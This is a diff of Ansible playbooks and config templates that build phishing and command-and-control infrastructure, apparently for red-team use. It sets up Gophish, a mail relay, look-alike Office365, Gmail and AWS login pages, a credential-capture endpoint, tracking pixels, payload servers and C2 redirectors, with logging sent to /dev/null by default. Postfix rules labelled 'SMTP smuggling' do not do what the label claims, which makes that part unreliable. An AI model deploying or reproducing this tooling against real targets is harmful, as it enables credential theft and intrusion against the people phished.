- name: Run provider-specific cleanup
|
||||
include_tasks: "../{{ provider | upper }}/cleanup.yml"
|
||||
vars:
|
||||
cleanup_redirector: true
|
||||
cleanup_c2: true
|
||||
cleanup_tracker: false
|
||||
redirector_name: "{{ phishing_redirector_name }}"
|
||||
c2_name: "{{ gophish_server_name }}"
|
||||
|
||||
- name: Remove deployment state file
|
||||
file:
|
||||
path: "phishing_deployment_state_{{ deployment_id }}.json"
|
||||
state: absent
|
||||
@@ -0,0 +1,129 @@
|
||||
---
|
||||
# Main phishing infrastructure deployment playbook
|
||||
# Handles all deployment types and orchestrates component deployment
|
||||
|
||||
- name: Deploy phishing infrastructure
|
||||
hosts: localhost
|
||||
gather_facts: false
|
||||
connection: local
|
||||
vars_files:
|
||||
- vars.yaml
|
||||
vars:
|
||||
deployment_id: "{{ deployment_id | default('') }}"
|
||||
provider: "{{ provider | default('aws') }}"
|
||||
deployment_type: "{{ deployment_type | default('phishing_only_noccdn') }}"
|
||||
|
||||
tasks:
|
||||
- name: Validate deployment configuration
|
||||
assert:
|
||||
that:
|
||||
- deployment_id != ""
|
||||
- provider != ""
|
||||
- deployment_type != ""
|
||||
fail_msg: "Missing required deployment parameters"
|
||||
|
||||
- name: Display deployment information
|
||||
debug:
|
||||
msg:
|
||||
- "Phishing Infrastructure Deployment"
|
||||
- "=================================="
|
||||
- "Deployment ID: {{ deployment_id }}"
|
||||
- "Provider: {{ provider }}"
|
||||
- "Deployment Type: {{ deployment_type }}"
|
||||
- "Primary Domain: {{ primary_domain | default(domain) }}"
|
||||
- "Phishing Domain: {{ phishing_domain | default(primary_domain) }}"
|
||||
|
||||
# Phase 1: Deploy core infrastructure components
|
||||
- name: Deploy MTA Front server
|
||||
include: mta_front.yml
|
||||
when: deploy_mta_front | default(false) | bool
|
||||
vars:
|
||||
server_name: "mta-{{ deployment_id }}"
|
||||
component_type: "mta_front"
|
||||
|
||||
- name: Deploy Gophish server
|
||||
include: gophish_server.yml
|
||||
when: deploy_gophish | default(false) | bool
|
||||
vars:
|
||||
server_name: "gophish-{{ deployment_id }}"
|
||||
component_type: "gophish"
|
||||
|
||||
- name: Deploy phishing redirector
|
||||
include: phishing_redirector.yml
|
||||
when: deploy_phishing_redirector | default(false) | bool
|
||||
vars:
|
||||
server_name: "phish-redir-{{ deployment_id }}"
|
||||
component_type: "phishing_redirector"
|
||||
|
||||
- name: Deploy phishing web server
|
||||
include: phishing_webserver.yml
|
||||
when: deploy_phishing_webserver | default(false) | bool
|
||||
vars:
|
||||
server_name: "phish-web-{{ deployment_id }}"
|
||||
component_type: "phishing_webserver"
|
||||
|
||||
- name: Deploy payload redirector
|
||||
include: payload_redirector.yml
|
||||
when: deploy_payload_redirector | default(false) | bool
|
||||
vars:
|
||||
server_name: "payload-redir-{{ deployment_id }}"
|
||||
component_type: "payload_redirector"
|
||||
|
||||
- name: Deploy payload server
|
||||
include: payload_server.yml
|
||||
when: deploy_payload_server | default(false) | bool
|
||||
vars:
|
||||
server_name: "payload-{{ deployment_id }}"
|
||||
component_type: "payload_server"
|
||||
|
||||
# Phase 2: Deploy C2 infrastructure if requested
|
||||
- name: Deploy C2 redirector
|
||||
include: ../AWS/redirector.yml
|
||||
when: deploy_c2_redirector | default(false) | bool
|
||||
vars:
|
||||
redirector_name: "c2-redir-{{ deployment_id }}"
|
||||
|
||||
- name: Deploy C2 backend
|
||||
include: ../AWS/c2.yml
|
||||
when: deploy_c2_backend | default(false) | bool
|
||||
vars:
|
||||
c2_name: "c2-{{ deployment_id }}"
|
||||
|
||||
# Phase 3: Configure security groups and firewall rules
|
||||
- name: Configure phishing security
|
||||
include_tasks: "../tasks/setup_phishing_security.yml"
|
||||
vars:
|
||||
deployment_components:
|
||||
mta_front: "{{ deploy_mta_front | default(false) }}"
|
||||
gophish: "{{ deploy_gophish | default(false) }}"
|
||||
phishing_redirector: "{{ deploy_phishing_redirector | default(false) }}"
|
||||
phishing_webserver: "{{ deploy_phishing_webserver | default(false) }}"
|
||||
payload_redirector: "{{ deploy_payload_redirector | default(false) }}"
|
||||
payload_server: "{{ deploy_payload_server | default(false) }}"
|
||||
|
||||
# Phase 4: Save deployment state
|
||||
- name: Save phishing deployment state
|
||||
template:
|
||||
src: "../templates/phishing_deployment_state.j2"
|
||||
dest: "phishing_deployment_{{ deployment_id }}.json"
|
||||
mode: '0600'
|
||||
vars:
|
||||
deployment_info:
|
||||
deployment_id: "{{ deployment_id }}"
|
||||
deployment_type: "{{ deployment_type }}"
|
||||
provider: "{{ provider }}"
|
||||
components: "{{ deployment_components }}"
|
||||
domains:
|
||||
primary: "{{ primary_domain | default(domain) }}"
|
||||
phishing: "{{ phishing_domain | default(primary_domain) }}"
|
||||
created: "{{ ansible_date_time.iso8601 }}"
|
||||
|
||||
- name: Display deployment summary
|
||||
debug:
|
||||
msg:
|
||||
- "Phishing Infrastructure Deployment Complete!"
|
||||
- "==========================================="
|
||||
- "Access your Gophish interface at: https://{{ gophish_ip }}:{{ gophish_admin_port | default(3333) }}"
|
||||
- "Phishing domain: {{ phishing_domain }}"
|
||||
- "Campaign ready to launch!"
|
||||
when: not disable_summary | default(false)
|
||||
@@ -0,0 +1,198 @@
|
||||
---
|
||||
# Advanced Gophish configuration with enhanced evasion and features
|
||||
|
||||
- name: Create Gophish user
|
||||
user:
|
||||
name: gophish
|
||||
system: yes
|
||||
shell: /bin/bash
|
||||
home: /opt/gophish
|
||||
create_home: yes
|
||||
|
||||
- name: Download latest Gophish release
|
||||
get_url:
|
||||
url: "https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip"
|
||||
dest: /tmp/gophish.zip
|
||||
mode: '0644'
|
||||
|
||||
- name: Extract Gophish
|
||||
unarchive:
|
||||
src: /tmp/gophish.zip
|
||||
dest: /opt/gophish
|
||||
owner: gophish
|
||||
group: gophish
|
||||
remote_src: yes
|
||||
|
||||
- name: Install additional packages for advanced features
|
||||
apt:
|
||||
name:
|
||||
- nginx
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
- sqlite3
|
||||
- jq
|
||||
- curl
|
||||
- wget
|
||||
- php-fpm
|
||||
- php-sqlite3
|
||||
- nodejs
|
||||
- npm
|
||||
state: present
|
||||
|
||||
- name: Configure advanced Gophish settings
|
||||
template:
|
||||
src: "../templates/phishing/gophish-advanced-config.j2"
|
||||
dest: /opt/gophish/config.json
|
||||
owner: gophish
|
||||
group: gophish
|
||||
mode: '0600'
|
||||
|
||||
- name: Create enhanced email templates directory
|
||||
file:
|
||||
path: /opt/gophish/templates/{{ item }}
|
||||
state: directory
|
||||
owner: gophish
|
||||
group: gophish
|
||||
mode: '0755'
|
||||
loop:
|
||||
- email
|
||||
- landing
|
||||
- static
|
||||
|
||||
- name: Deploy email templates
|
||||
template:
|
||||
src: "../templates/phishing/email-templates/{{ item }}.j2"
|
||||
dest: "/opt/gophish/templates/email/{{ item }}.html"
|
||||
owner: gophish
|
||||
group: gophish
|
||||
mode: '0644'
|
||||
loop:
|
||||
- office365_login
|
||||
- password_expiry
|
||||
- security_alert
|
||||
- file_share
|
||||
when: not fedramp_mode | default(false) | bool
|
||||
|
||||
- name: Deploy FedRAMP compliant templates
|
||||
template:
|
||||
src: "../templates/phishing/fedramp-compliance.j2"
|
||||
dest: "/opt/gophish/templates/email/fedramp_template.html"
|
||||
owner: gophish
|
||||
group: gophish
|
||||
mode: '0644'
|
||||
when: fedramp_mode | default(false) | bool
|
||||
|
||||
- name: Create advanced landing pages
|
||||
template:
|
||||
src: "../templates/phishing/phishing-landing-page.j2"
|
||||
dest: "/opt/gophish/templates/landing/{{ item }}_landing.html"
|
||||
owner: gophish
|
||||
group: gophish
|
||||
mode: '0644'
|
||||
loop:
|
||||
- office365
|
||||
- generic
|
||||
- fedramp
|
||||
vars:
|
||||
template_type: "{{ item }}"
|
||||
|
||||
- name: Install enhanced tracking pixel
|
||||
copy:
|
||||
src: "../files/simple_email_tracker.py"
|
||||
dest: /opt/gophish/tracker.py
|
||||
owner: gophish
|
||||
group: gophish
|
||||
mode: '0755'
|
||||
|
||||
- name: Create Gophish database backup script
|
||||
template:
|
||||
src: "../templates/phishing/gophish-backup.sh.j2"
|
||||
dest: /opt/gophish/backup.sh
|
||||
owner: gophish
|
||||
group: gophish
|
||||
mode: '0755'
|
||||
|
||||
- name: Set up database backup cron
|
||||
cron:
|
||||
name: "Backup Gophish database"
|
||||
minute: "0"
|
||||
hour: "*/6"
|
||||
job: "/opt/gophish/backup.sh"
|
||||
user: gophish
|
||||
|
||||
- name: Create Gophish systemd service
|
||||
template:
|
||||
src: "../templates/phishing/gophish.service.j2"
|
||||
dest: /etc/systemd/system/gophish.service
|
||||
mode: '0644'
|
||||
|
||||
- name: Enable and start Gophish service
|
||||
systemd:
|
||||
name: gophish
|
||||
state: started
|
||||
enabled: yes
|
||||
daemon_reload: yes
|
||||
|
||||
- name: Create campaign automation script
|
||||
template:
|
||||
src: "../templates/phishing/campaign-automation.py.j2"
|
||||
dest: /opt/gophish/campaign-automation.py
|
||||
owner: gophish
|
||||
group: gophish
|
||||
mode: '0755'
|
||||
|
||||
- name: Install Python dependencies for automation
|
||||
pip:
|
||||
name:
|
||||
- requests
|
||||
- python-dateutil
|
||||
- jinja2
|
||||
state: present
|
||||
|
||||
- name: Configure SMTP relay to MTA front
|
||||
blockinfile:
|
||||
path: /opt/gophish/config.json
|
||||
marker: "// {mark} ANSIBLE MANAGED SMTP CONFIG"
|
||||
block: |
|
||||
"smtp": {
|
||||
"host": "{{ mta_front_ip }}:587",
|
||||
"username": "{{ smtp_relay_user }}",
|
||||
"password": "{{ smtp_relay_pass }}",
|
||||
"from": "{{ sender_email }}",
|
||||
"ignore_cert_errors": true
|
||||
}
|
||||
|
||||
- name: Create phishing metrics dashboard
|
||||
template:
|
||||
src: "../templates/phishing/metrics-dashboard.html.j2"
|
||||
dest: /opt/gophish/static/metrics.html
|
||||
owner: gophish
|
||||
group: gophish
|
||||
mode: '0644'
|
||||
|
||||
- name: Set up log aggregation
|
||||
lineinfile:
|
||||
path: /etc/rsyslog.conf
|
||||
line: "local0.* /var/log/gophish.log"
|
||||
state: present
|
||||
notify: restart rsyslog
|
||||
|
||||
- name: Configure log rotation for Gophish
|
||||
copy:
|
||||
dest: /etc/logrotate.d/gophish
|
||||
content: |
|
||||
/var/log/gophish.log {
|
||||
daily
|
||||
missingok
|
||||
rotate 30
|
||||
compress
|
||||
delaycompress
|
||||
notifempty
|
||||
create 0644 gophish gophish
|
||||
}
|
||||
|
||||
handlers:
|
||||
- name: restart rsyslog
|
||||
service:
|
||||
name: rsyslog
|
||||
state: restarted
|
||||
@@ -0,0 +1,296 @@
|
||||
---
|
||||
# Common tasks for configuring advanced phishing server
|
||||
# Supports both red team and FedRAMP compliance modes
|
||||
|
||||
- name: Update system packages
|
||||
apt:
|
||||
update_cache: yes
|
||||
upgrade: dist
|
||||
|
||||
- name: Install base packages for phishing server
|
||||
apt:
|
||||
name:
|
||||
- nginx
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
- postfix
|
||||
- dovecot-core
|
||||
- dovecot-imapd
|
||||
- opendkim
|
||||
- opendkim-tools
|
||||
- sqlite3
|
||||
- git
|
||||
- curl
|
||||
- wget
|
||||
- jq
|
||||
- unzip
|
||||
- python3-pip
|
||||
- python3-venv
|
||||
- nodejs
|
||||
- npm
|
||||
- php-fpm
|
||||
- php-sqlite3
|
||||
- php-curl
|
||||
- php-json
|
||||
- swaks
|
||||
- dnsutils
|
||||
- net-tools
|
||||
- fail2ban
|
||||
state: present
|
||||
|
||||
- name: Create phishing tools directory
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- /root/Tools/phishing
|
||||
- /root/Tools/phishing/templates
|
||||
- /root/Tools/phishing/campaigns
|
||||
- /root/Tools/phishing/logs
|
||||
- /var/www/phishing
|
||||
- /var/www/phishing/assets
|
||||
- /var/www/phishing/api
|
||||
|
||||
- name: Set up GoPhish directory
|
||||
file:
|
||||
path: /root/Tools/gophish
|
||||
state: directory
|
||||
mode: '0755'
|
||||
|
||||
- name: Download latest GoPhish release
|
||||
shell: |
|
||||
LATEST_URL=$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')
|
||||
curl -L "$LATEST_URL" -o /tmp/gophish.zip
|
||||
unzip /tmp/gophish.zip -d /root/Tools/gophish
|
||||
chmod +x /root/Tools/gophish/gophish
|
||||
rm -f /tmp/gophish.zip
|
||||
args:
|
||||
creates: /root/Tools/gophish/gophish
|
||||
|
||||
- name: Create advanced GoPhish configuration
|
||||
template:
|
||||
src: "../templates/advanced-gophish-config.j2"
|
||||
dest: "/root/Tools/gophish/config.json"
|
||||
mode: '0600'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create GoPhish systemd service
|
||||
template:
|
||||
src: "../templates/gophish.service.j2"
|
||||
dest: "/etc/systemd/system/gophish.service"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Configure Postfix for outbound email
|
||||
template:
|
||||
src: "../templates/postfix-phishing.conf.j2"
|
||||
dest: "/etc/postfix/main.cf"
|
||||
backup: yes
|
||||
notify: restart postfix
|
||||
|
||||
- name: Configure OpenDKIM for email authentication
|
||||
template:
|
||||
src: "../templates/opendkim-phishing.conf.j2"
|
||||
dest: "/etc/opendkim.conf"
|
||||
backup: yes
|
||||
notify: restart opendkim
|
||||
|
||||
- name: Create DKIM keys directory
|
||||
file:
|
||||
path: "/etc/opendkim/keys/{{ phishing_domain }}"
|
||||
state: directory
|
||||
owner: opendkim
|
||||
group: opendkim
|
||||
mode: '0700'
|
||||
|
||||
- name: Generate DKIM keys
|
||||
command: >
|
||||
opendkim-genkey -D /etc/opendkim/keys/{{ phishing_domain }}
|
||||
-d {{ phishing_domain }} -s phishing
|
||||
args:
|
||||
creates: "/etc/opendkim/keys/{{ phishing_domain }}/phishing.private"
|
||||
|
||||
- name: Set DKIM key permissions
|
||||
file:
|
||||
path: "/etc/opendkim/keys/{{ phishing_domain }}/phishing.private"
|
||||
owner: opendkim
|
||||
group: opendkim
|
||||
mode: '0600'
|
||||
|
||||
- name: Create phishing landing page templates
|
||||
template:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
with_items:
|
||||
- { src: "../templates/phishing-landing-office365.html.j2", dest: "/var/www/phishing/office365.html" }
|
||||
- { src: "../templates/phishing-landing-gmail.html.j2", dest: "/var/www/phishing/gmail.html" }
|
||||
- { src: "../templates/phishing-landing-aws.html.j2", dest: "/var/www/phishing/aws.html" }
|
||||
- { src: "../templates/phishing-landing-generic.html.j2", dest: "/var/www/phishing/generic.html" }
|
||||
|
||||
- name: Create credential capture API
|
||||
template:
|
||||
src: "../templates/credential-capture-api.php.j2"
|
||||
dest: "/var/www/phishing/api/capture.php"
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Create tracking pixel endpoint
|
||||
template:
|
||||
src: "../templates/tracking-pixel.php.j2"
|
||||
dest: "/var/www/phishing/track.php"
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Configure Nginx for phishing sites
|
||||
template:
|
||||
src: "../templates/nginx-phishing.conf.j2"
|
||||
dest: "/etc/nginx/sites-available/phishing"
|
||||
mode: '0644'
|
||||
notify: reload nginx
|
||||
|
||||
- name: Enable phishing site
|
||||
file:
|
||||
src: /etc/nginx/sites-available/phishing
|
||||
dest: /etc/nginx/sites-enabled/phishing
|
||||
state: link
|
||||
notify: reload nginx
|
||||
|
||||
- name: Create phishing campaign management scripts
|
||||
template:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- { src: "../templates/campaign-launcher.sh.j2", dest: "/root/Tools/phishing/launch-campaign.sh" }
|
||||
- { src: "../templates/stats-collector.sh.j2", dest: "/root/Tools/phishing/collect-stats.sh" }
|
||||
- { src: "../templates/email-validator.py.j2", dest: "/root/Tools/phishing/validate-emails.py" }
|
||||
|
||||
- name: Create database for tracking
|
||||
shell: |
|
||||
sqlite3 /root/Tools/phishing/tracking.db << EOF
|
||||
CREATE TABLE IF NOT EXISTS email_opens (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
campaign_id TEXT NOT NULL,
|
||||
recipient_email TEXT NOT NULL,
|
||||
ip_address TEXT,
|
||||
user_agent TEXT,
|
||||
opened_at DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
location TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS link_clicks (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
campaign_id TEXT NOT NULL,
|
||||
recipient_email TEXT NOT NULL,
|
||||
link_url TEXT NOT NULL,
|
||||
ip_address TEXT,
|
||||
user_agent TEXT,
|
||||
clicked_at DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
location TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS credential_submissions (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
campaign_id TEXT NOT NULL,
|
||||
recipient_email TEXT,
|
||||
username TEXT,
|
||||
password_hash TEXT,
|
||||
ip_address TEXT,
|
||||
user_agent TEXT,
|
||||
submitted_at DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
location TEXT,
|
||||
additional_data TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS campaigns (
|
||||
id TEXT PRIMARY KEY,
|
||||
name TEXT NOT NULL,
|
||||
template TEXT NOT NULL,
|
||||
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
status TEXT DEFAULT 'active',
|
||||
target_count INTEGER DEFAULT 0,
|
||||
opened_count INTEGER DEFAULT 0,
|
||||
clicked_count INTEGER DEFAULT 0,
|
||||
submitted_count INTEGER DEFAULT 0
|
||||
);
|
||||
EOF
|
||||
args:
|
||||
creates: /root/Tools/phishing/tracking.db
|
||||
|
||||
- name: Set database permissions
|
||||
file:
|
||||
path: /root/Tools/phishing/tracking.db
|
||||
owner: www-data
|
||||
group: www-data
|
||||
mode: '0644'
|
||||
|
||||
- name: Install Python dependencies for advanced features
|
||||
pip:
|
||||
name:
|
||||
- requests
|
||||
- beautifulsoup4
|
||||
- lxml
|
||||
- flask
|
||||
- flask-cors
|
||||
- dnspython
|
||||
- python-whois
|
||||
- selenium
|
||||
- fake-useragent
|
||||
state: present
|
||||
|
||||
- name: Create SSL certificate setup script
|
||||
template:
|
||||
src: "../templates/setup-phishing-ssl.sh.j2"
|
||||
dest: "/root/Tools/phishing/setup-ssl.sh"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create domain reputation checker
|
||||
template:
|
||||
src: "../templates/domain-reputation.py.j2"
|
||||
dest: "/root/Tools/phishing/check-reputation.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Start and enable services
|
||||
systemd:
|
||||
name: "{{ item }}"
|
||||
state: started
|
||||
enabled: yes
|
||||
daemon_reload: yes
|
||||
with_items:
|
||||
- postfix
|
||||
- opendkim
|
||||
- nginx
|
||||
- php7.4-fpm
|
||||
- gophish
|
||||
|
||||
handlers:
|
||||
- name: restart postfix
|
||||
systemd:
|
||||
name: postfix
|
||||
state: restarted
|
||||
|
||||
- name: restart opendkim
|
||||
systemd:
|
||||
name: opendkim
|
||||
state: restarted
|
||||
|
||||
- name: reload nginx
|
||||
systemd:
|
||||
name: nginx
|
||||
state: reloaded
|
||||
@@ -0,0 +1,42 @@
|
||||
{
|
||||
"admin_server": {
|
||||
"listen_url": "127.0.0.1:{{ gophish_admin_port }}",
|
||||
"use_tls": true,
|
||||
"cert_path": "/etc/letsencrypt/live/{{ phishing_domain }}/fullchain.pem",
|
||||
"key_path": "/etc/letsencrypt/live/{{ phishing_domain }}/privkey.pem",
|
||||
"trusted_origins": []
|
||||
},
|
||||
"phish_server": {
|
||||
"listen_url": "0.0.0.0:{{ gophish_phish_port | default(8081) }}",
|
||||
"use_tls": false,
|
||||
"cert_path": "",
|
||||
"key_path": ""
|
||||
},
|
||||
"db_name": "sqlite3",
|
||||
"db_path": "gophish.db",
|
||||
"migrations_prefix": "db/db_",
|
||||
"contact_address": "{{ smtp_from_address | default('noreply@' + domain) }}",
|
||||
"logging": {
|
||||
"filename": "{{ '/dev/null' if zero_logs | default(true) else 'gophish.log' }}",
|
||||
"level": "{{ 'error' if zero_logs | default(true) else 'info' }}"
|
||||
},
|
||||
"webhook": {
|
||||
"enabled": {{ enable_webhooks | default(false) | lower }},
|
||||
"url": "{{ webhook_url | default('') }}",
|
||||
"secret": "{{ webhook_secret | default('') }}"
|
||||
},
|
||||
"email": {
|
||||
"smtp": {
|
||||
"host": "{{ mta_front_ip | default('127.0.0.1') }}",
|
||||
"port": 25,
|
||||
"use_auth": true,
|
||||
"username": "{{ smtp_auth_user }}",
|
||||
"password": "{{ smtp_auth_pass }}",
|
||||
"from_address": "{{ smtp_from_address | default('noreply@' + domain) }}",
|
||||
"ignore_cert_errors": true
|
||||
},
|
||||
"imap": {
|
||||
"enabled": false
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
{
|
||||
"admin_server": {
|
||||
"listen_url": "0.0.0.0:{{ gophish_admin_port }}",
|
||||
"use_tls": true,
|
||||
"cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem",
|
||||
"key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem",
|
||||
"trusted_origins": []
|
||||
},
|
||||
"phish_server": {
|
||||
"listen_url": "0.0.0.0:8081",
|
||||
"use_tls": false,
|
||||
"cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem",
|
||||
"key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
|
||||
},
|
||||
"db_name": "sqlite3",
|
||||
"db_path": "gophish.db",
|
||||
"migrations_prefix": "db/db_",
|
||||
"contact_address": "",
|
||||
"logging": {
|
||||
"filename": "",
|
||||
"level": ""
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
---
|
||||
# Advanced Gophish server deployment with enhanced features
|
||||
|
||||
- name: Deploy Gophish server
|
||||
hosts: localhost
|
||||
gather_facts: false
|
||||
connection: local
|
||||
vars_files:
|
||||
- vars.yaml
|
||||
vars:
|
||||
gophish_instance_type: "{{ gophish_instance_type | default('t3.large') }}"
|
||||
gophish_region: "{{ gophish_region | default(aws_region) }}"
|
||||
|
||||
tasks:
|
||||
- name: Create Gophish instance
|
||||
include_tasks: "../tasks/create_instance.yml"
|
||||
vars:
|
||||
instance_name: "{{ server_name }}"
|
||||
instance_type: "{{ gophish_instance_type }}"
|
||||
region: "{{ gophish_region }}"
|
||||
security_group_rules:
|
||||
- { proto: tcp, port: 22, cidr: "{{ operator_ip }}/32", desc: "SSH from operator" }
|
||||
- { proto: tcp, port: 3333, cidr: "{{ operator_ip }}/32", desc: "Gophish admin" }
|
||||
- { proto: tcp, port: 25, cidr: "{{ mta_front_ip | default('10.0.0.0/8') }}/32", desc: "SMTP from MTA" }
|
||||
- { proto: tcp, port: 80, cidr: "{{ phishing_redirector_ip | default('10.0.0.0/8') }}/32", desc: "HTTP from redirector" }
|
||||
|
||||
- name: Add Gophish to inventory
|
||||
add_host:
|
||||
name: "gophish_server"
|
||||
groups: "gophish_servers"
|
||||
ansible_host: "{{ instance_ip }}"
|
||||
ansible_user: "{{ ansible_user | default('ubuntu') }}"
|
||||
ansible_ssh_private_key_file: "{{ ssh_key_path }}"
|
||||
ansible_ssh_common_args: "-o StrictHostKeyChecking=no"
|
||||
|
||||
- name: Configure Gophish server
|
||||
hosts: gophish_servers
|
||||
become: true
|
||||
gather_facts: true
|
||||
vars_files:
|
||||
- vars.yaml
|
||||
tasks:
|
||||
- name: Include advanced Gophish configuration
|
||||
include_tasks: "../tasks/configure_gophish_advanced.yml"
|
||||
|
||||
- name: Include security hardening
|
||||
include_tasks: "../tasks/security_hardening.yml"
|
||||
|
||||
- name: Include tracker setup
|
||||
include_tasks: "../tasks/configure_integrated_tracker.yml"
|
||||
when: deploy_tracker | default(true) | bool
|
||||
@@ -0,0 +1,151 @@
|
||||
---
|
||||
# Configure MTA Front server for email relay and SMTP smuggling
|
||||
|
||||
- name: Update system packages
|
||||
apt:
|
||||
update_cache: yes
|
||||
upgrade: dist
|
||||
|
||||
- name: Install MTA packages
|
||||
apt:
|
||||
name:
|
||||
- postfix
|
||||
- postfix-pcre
|
||||
- dovecot-core
|
||||
- dovecot-imapd
|
||||
- opendkim
|
||||
- opendkim-tools
|
||||
- python3-pip
|
||||
- python3-venv
|
||||
- nginx
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
- dnsutils
|
||||
- swaks
|
||||
- telnet
|
||||
state: present
|
||||
|
||||
- name: Configure Postfix for MTA fronting
|
||||
template:
|
||||
src: "../templates/phishing/postfix-mta-front.j2"
|
||||
dest: /etc/postfix/main.cf
|
||||
backup: yes
|
||||
notify: restart postfix
|
||||
|
||||
- name: Configure Postfix master.cf for advanced relaying
|
||||
blockinfile:
|
||||
path: /etc/postfix/master.cf
|
||||
block: |
|
||||
# SMTP smuggling and advanced relay configurations
|
||||
587 inet n - y - - smtpd
|
||||
-o syslog_name=postfix/submission
|
||||
-o smtpd_tls_security_level=encrypt
|
||||
-o smtpd_sasl_auth_enable=yes
|
||||
-o smtpd_tls_wrappermode=no
|
||||
-o smtpd_client_restrictions=permit_sasl_authenticated,reject
|
||||
-o smtpd_relay_restrictions=permit_sasl_authenticated,reject
|
||||
-o milter_macro_daemon_name=ORIGINATING
|
||||
|
||||
# SMTP smuggling support
|
||||
cleanup unix n - y - 0 cleanup
|
||||
-o header_checks=pcre:/etc/postfix/header_checks
|
||||
-o nested_header_checks=pcre:/etc/postfix/nested_header_checks
|
||||
|
||||
- name: Create SMTP smuggling header checks
|
||||
copy:
|
||||
dest: /etc/postfix/header_checks
|
||||
content: |
|
||||
# SMTP smuggling techniques
|
||||
/^Content-Transfer-Encoding:\s*7bit/i REPLACE Content-Transfer-Encoding: 8bit
|
||||
/^Content-Type:\s*text\/plain/i REPLACE Content-Type: text/html
|
||||
mode: '0644'
|
||||
notify:
|
||||
- reload postfix
|
||||
- postmap header_checks
|
||||
|
||||
- name: Create nested header checks for advanced smuggling
|
||||
copy:
|
||||
dest: /etc/postfix/nested_header_checks
|
||||
content: |
|
||||
# Advanced SMTP smuggling patterns
|
||||
/^\s*<script/i IGNORE
|
||||
/^\s*<iframe/i IGNORE
|
||||
mode: '0644'
|
||||
notify:
|
||||
- reload postfix
|
||||
- postmap nested_header_checks
|
||||
|
||||
- name: Configure DKIM for domain reputation
|
||||
include_tasks: ../tasks/configure_mail.yml
|
||||
|
||||
- name: Create relay authentication
|
||||
copy:
|
||||
dest: /etc/postfix/sasl_passwd
|
||||
content: |
|
||||
{{ phishing_domain }} {{ smtp_relay_user }}:{{ smtp_relay_pass }}
|
||||
mode: '0600'
|
||||
owner: root
|
||||
group: root
|
||||
notify:
|
||||
- postmap sasl_passwd
|
||||
- restart postfix
|
||||
|
||||
- name: Configure transport maps for backend routing
|
||||
copy:
|
||||
dest: /etc/postfix/transport
|
||||
content: |
|
||||
{{ phishing_domain }} smtp:[{{ gophish_ip }}]:25
|
||||
.{{ phishing_domain }} smtp:[{{ gophish_ip }}]:25
|
||||
mode: '0644'
|
||||
notify:
|
||||
- postmap transport
|
||||
- restart postfix
|
||||
|
||||
- name: Install Python SMTP testing tools
|
||||
pip:
|
||||
name:
|
||||
- smtplib-extended
|
||||
- email-validator
|
||||
- faker
|
||||
state: present
|
||||
|
||||
- name: Create SMTP smuggling test script
|
||||
template:
|
||||
src: "../templates/phishing/smtp-smuggling-test.py.j2"
|
||||
dest: /root/Tools/smtp-smuggling-test.py
|
||||
mode: '0755'
|
||||
|
||||
- name: Create email reputation monitoring script
|
||||
template:
|
||||
src: "../templates/phishing/reputation-monitor.sh.j2"
|
||||
dest: /root/Tools/reputation-monitor.sh
|
||||
mode: '0755'
|
||||
|
||||
- name: Set up log monitoring for deliverability
|
||||
cron:
|
||||
name: "Monitor email deliverability"
|
||||
minute: "*/15"
|
||||
job: "/root/Tools/reputation-monitor.sh >> /var/log/reputation.log 2>&1"
|
||||
|
||||
handlers:
|
||||
- name: restart postfix
|
||||
service:
|
||||
name: postfix
|
||||
state: restarted
|
||||
|
||||
- name: reload postfix
|
||||
service:
|
||||
name: postfix
|
||||
state: reloaded
|
||||
|
||||
- name: postmap header_checks
|
||||
command: postmap /etc/postfix/header_checks
|
||||
|
||||
- name: postmap nested_header_checks
|
||||
command: postmap /etc/postfix/nested_header_checks
|
||||
|
||||
- name: postmap sasl_passwd
|
||||
command: postmap /etc/postfix/sasl_passwd
|
||||
|
||||
- name: postmap transport
|
||||
command: postmap /etc/postfix/transport
|
||||
@@ -0,0 +1,71 @@
|
||||
# Postfix MTA Front Configuration for Phishing Infrastructure
|
||||
# This server acts as the front-end mail relay
|
||||
|
||||
# Basic settings
|
||||
myhostname = {{ mta_hostname | default('mail.' + domain) }}
|
||||
mydomain = {{ domain }}
|
||||
myorigin = $mydomain
|
||||
mydestination = $myhostname, localhost
|
||||
inet_interfaces = all
|
||||
